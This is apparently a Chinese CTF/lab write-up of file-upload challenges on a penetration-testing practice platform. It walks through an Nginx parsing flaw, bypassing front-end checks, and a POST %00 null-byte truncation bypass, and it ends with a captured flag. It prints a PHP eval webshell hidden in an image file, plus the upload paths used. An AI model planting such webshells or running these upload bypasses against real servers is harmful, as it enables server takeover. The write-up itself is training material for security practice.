文件上传
安鸾渗透实战平台-Nginx解析漏洞
制作一图片马,然后上传,然后用蚁剑连接
http://www.whalwl.site:8020/uploadfiles/025108c5577eacf12c2e26e14dcc8a71.jpg/a.php(已失效)
查找flag
安鸾渗透实战平台-文件上传01
这就是个属于文件上传的前端验证,绕过前端即可
(可以删除网页源码中的检测内容,或者关闭浏览器的js功能)
然后上传,然后用蚁剑连接,查找flag
安鸾渗透实战平台-文件上传02
要求上传图片
尝试:
1 上传web.jpg 图片马
<?php @eval($_POST['shell']); ?>上传成功,发现上传后的路径如下:
http://whalwl.site:8025/images/9020220115115158.jpg
发现1:对上传的让图片文件,进行了重命名!
2 直接上传web.jpg 抓包该包 为web.php 放包, 使用burpsuite repeater 模拟 的response如下
HTTP/1.1 200 OK
Date: Sat, 15 Jan 2022 12:01:23 GMT
Server: Apache/2.2.22 (EL)
X-Powered -By: PHP/5.2.17
Content-Length: 549
Connection: close
Content-Type: text/html;charset=utf-8
<ol>
<h1>别玩游戏了,好好做题吧!</h1>
<br> <br>
<form enctype="multipart/form-data" method="post">
<p>请选择要上传的图片:<p>
<input type="hidden" name="file_path" value="images/"/>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="img">
</div>
</ol>
</div>
网页没有反映,既不提示上传信息有误,也不进行提示 --没有头脑
response也就是网页html文件
3 尝试上传 一个 文本文upload7.txt 和 2一样 网页没响应 基本猜测应该是有白名单 +文件重命名
Get%00截断
POST%00截断
抓包发现 似乎上传文件路径可控,尝试使用post%00截断
http://whalwl.site:8025/images/upload02.php2120220115122910.jpg
忘记了,post的需要在16进制先改,在p(70)后面的额改为00即可
本来以为没成功,后面就试了一下发现,有phpinfo()的回显搞出来了
根据提示在服务器根目录下找到flag文件
flag{c325cb3922a0e48c}